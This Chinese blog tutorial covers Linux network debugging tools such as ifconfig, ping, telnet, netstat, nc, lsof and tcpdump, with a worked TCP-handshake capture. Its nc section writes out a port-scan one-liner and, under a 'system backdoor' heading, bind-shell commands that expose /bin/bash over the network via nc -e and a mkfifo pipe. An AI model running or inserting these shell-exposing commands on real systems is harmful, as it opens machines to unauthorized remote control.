Linux常用网络调试工具

ifconfig

ifconfig 命令用于检查或设置机器上的网卡,使用命令前需要安装 net-tools 软件包:

1
sudo apt install net-tools

如果是 CentOS 的话使用 yum 安装。使用 ifconfig 命令可以显示机器上已经启用的网卡设备信息:

可以看到一些网卡的基本信息,包括 IPv4 和 IPv6 地址,子网掩码、设备 MAC 地址,目前已经收发的数据量等。其中名称为 lo 的是一个特殊的本地回环的虚拟接口,并不是一个真实的网卡设备,本机程序可以通过本地回环地址 127.0.0.1 在本地进行网络通信。

ifconfig 可以通过 up 和 down 选项来打开或者关闭指定网卡:

1
2
ifconfig wlp1s0 up     
ifconfig wlp1s0 down

ping

ping 命令是最常用的命令之一,用于检查两个设备之间网络是否连通:

1
ping ip地址/域名

这里简单说一下 ping 程序的工作原理,它利用 TCP/IP 协议栈网络层的 ICMP 协议工作,ICMP 协议(因特网控制报文协议)用于主机和路由器之间沟通网络层的信息,其本身是作为 IP 协议包的载荷。ping 程序发送一个请求回显类型的 ICMP 报文至指定 IP 地址的主机,如果主机接收到该消息包则会回复一个回显应答类型的报文。

需要注意的是有些主机可能会关闭 ICMP 回显,这样即使两台主机之间在网络上是相通的,ping 程序也无法正常工作。

telnet

telnet 也是最常用的命令之一,telnet 能够用于连接某个服务器并和它进行通信,如果不指定目标主机的端口,则默认向其 23 号端口发起连接请求。

通常指定目标主机和端口:

1
telnet ip/域名 端口

这里演示通过 telnet 向 xiaodongfan.com 发送一个 HTTP 请求:

连接上主机之后,按照 HTTP 协议格式,依次输入请求行和请求首部信息(最后需要两次回车)就能得到应答了:

1
2
GET / HTTP/1.1  
Host: xiaodongfan.com

使用 telnet 还可以连接邮件服务器发送邮件,按照相应协议的格式和端口进行通信即可。

netstat

netstat 用于查看主机的网络连接状态,常用有以下选项:

  1. -a (或–all): 显示所有 Socket,不使用该选项时不会显示 LISTEN 状态的选项。
  2. -t (或–tcp): 显示 TCP 协议的连接情况。
  3. -u (或–udp): 显示 UDP 协议的连接情况。
  4. -n (或–numeric): 使用 ip 地址显示,而不是显示域名。
  5. -l (或–listening): 显示处于 LISTEN 状态的 Socket。
  6. -p (或–programs): 显示 Socket 对应的程序名称。
  7. -c (或–continuous): 持续显示信息。

例如查看所有的 TCP 相关选项:

nc

nc 就是 netcat,功能非常强大,常用的功能是用于模拟服务器和客户端。下面介绍一些常用的操作:

  1. 启动一个服务器程序。
1
nc -v -l 127.0.0.1 8080

指定-l选项(listening)用于监听端口,-v选项(verbose)用于输出更详细的信息,一般都会带上这个选项。如果希望其他主机访问这个服务器,可以指定监听 0.0.0.0 地址。

  1. 模拟一个客户端程序。
1
nc -v baidu.com 80

就是去除掉上面的-l选项就行,上面的命令会在本地启动一个客户端程序对 baidu.com 的 80 号端口进行连接,而客户端套接字的端口号是随机的,我们可以使用-p选项来指定本地套接字的端口号:

1
nc -v -p 5000 baidu.com 80

连接之后就能够发送消息了。此外,上述指令的连接端口号可以指定一个范围,这样就可以对主机进行端口扫描,获取目标主机开放的端口:

1
nc -v -z 192.168.1.46 8000-9000 2>&1 | grep succeed

其中-z选项为连接后不发送数据,我们只需要知道端口是否能连接上,不需要通信。由于-v选项输出是在[stderr]上,因此需要将其重定向到[stdout]上便于 grep 抓取成功的端口。扫描端口功能一般是黑客常用的一个功能,在对目标主机进行攻击前,获取其开放的端口。

此外,为了验证防火墙是否有效,也可以使用 nc 命令的模拟客户端程序来验证。

  1. udp 通信测试。

在服务器端:

1
nc -ul 127.0.0.1 8080

指定-u选项为 UDP 工作模式。

在客户端:

1
nc -u 127.0.0.1 8080
  1. 传输文件

nc 不仅可以发送消息,还可以发送文件,只要使用 shell 提供的重定向功能就行:

接收端:

1
nc -l IP地址 端口号 > recv.txt

发送端:

1
nc IP地址 端口号 < send.txt

这样就把发送端的 send.txt 文件通过接收端的某端口号传输过去了,接收端将文件重新命名为 recv.txt。

  1. 系统后门

可以通过 nc 的 -e 选项将某一个进程的输入输出重定向到 nc 建立的网络连接上来:

主机 A:

1
nc -l -p 8080 -e /bin/bash

主机 B:

1
nc A的IP地址 8080

之后主机 B 就能看到主机 A 的 shell 提示符了。

正是由于这个 -e 选项过于危险,新版本的 nc 删除了这个选项,但还是可以通过管道和 fifo 来实现相同的效果:

1
2
mkfifo /tmp/f
cat /tmp/f | /bin/bash 2>&1 | nc -l -p 8080 > /tmp/f

使用完之后将 /tmp/f 文件删除。

lsof

lsof(list opened file desciptor)是Linux上查看系统打开的文件描述符的命令,需要使用 apt 或 yum 包管理器进行安装。

由于网络套接字在 Linux 系统中也是用文件描述符来管理,因此可以使用 lsof 来查看网络的连接情况,lsof 通过 -i 选项可以只显示网络连接相关的信息,使用 -P 选项可以显示端口号而不是别名,使用 -n 选项可以显示 IP 地址而不是其别名。

tcpdump

tcpdump 是Linux系统提供的强大抓包工具,通过命令的形式提供类似于 wireshark 的功能,同样可以使用包管理器进行安装。

下面是一些常用的命令选项:

  1. -i: 指定需要抓包的网卡名称,如果需要抓取所有网卡的包可以指定为 any。
  2. -X: 以十六进程格式显示数据包的内容,不包括链路层的包头信息。可以指定 -XX 查看链路层包头信息。
  3. -n: 不使用 IP 地址的别名显示,-nn 为不使用 IP 地址和端口的别名显示。
  4. -S: 使用绝对包序号(seq字段)而不是相对序号。
  5. -v: 显示详细抓包过程,-vv可以显示更详细的过程。
  6. -w: 将抓取的数据包保存到文件中,该选项后面跟文件名。
  7. -r: 从指定的文件(上面使用-w选项保存的文件)中读取数据包数据。

此外,tcpdump 最强大之处在于可以使用过滤表达式来对抓取的包进行过滤,就像 wireshark 一样。

  1. host 过滤器(指定主机)
1
tcpdump -i any host 127.0.0.1    // 抓取从 127.0.0.1 发出或收到的包
  1. net 过滤器(指定网段)
1
2
tcpdump -i any net 192.168.1    // 抓取从网段 192.168.1.x 发出或收到的包
tcpdump -i any net 192.168.1.0/24 // 使用 CIDR 格式
  1. port 过滤器(指定端口)
1
tcpdump -i any port 8000   // 抓取发送或接收端口为 8000 的包
  1. 通过 src 和 dst 过滤方向
1
tcpdump -i any src 192.168.1.1  // 抓取发送端地址为 192.168.1.1 的包
  1. proto 过滤器(指定协议:tcp, udp, icmp, igmp, arp等)
1
tcpdump -i any icmp       // 抓取 ICMP 协议包
  1. 过滤器之间可以通过逻辑符号(and, or, not)进行组合。
1
tcpdump -i lo src port 8000 and dst port 8001

这里举例来说明如何使用。

观察一下 TCP 连接时三次握手过程。使用两台主机,目标主机名为 fxd-pi,在上面使用 nc 启动一个 8000 端口的监听服务器,并使用 tcpdump 进行抓包,过滤端口为 8000 的包。在另一台机器(这里称为本地机器)通过 nc 连接,可以看到如下包:

可以看到,首先是本地机器向 fxd-pi 发送的一个请求同步报文(标志为[S],就是 SYN),然后 fxd-pi 回复了一个应答报文(标志为[S.], 是SYN-ACK),然后本地机器再回复了一个应答报文,三次握手成功。

然后我们可以仔细分析一下报文的内容,这里使用 -X 选项,因此报文包含了 IP 报文的首部和 TCP 报文的首部。对其中关键位置的内容进行验证,以第一个报文为例,第 13-16 字节内容为0x0a8663f5,对应源 IP 地址 10.134.99.245;第 17-20 字节内容为0x0a8662ec,对应目的 IP 地址为 10.134.98.236。

再往后面就是 TCP 报文内容,由于是 SYN 同步报文,因此没有携带任何内容,后面的 40 个字节全都是 TCP 首部,这从 TCP 首部中的首部长度字段也可以看出来。其中 0xb20a0x1f40 分别为源端口号和目的端口号。

总结

本篇博客介绍了Linux系统下常用的网络调试工具。

参考文献

  1. 《C++服务器开发精髓》
  2. TCP/IP详解
  3. 《计算机网络:自顶向下方法》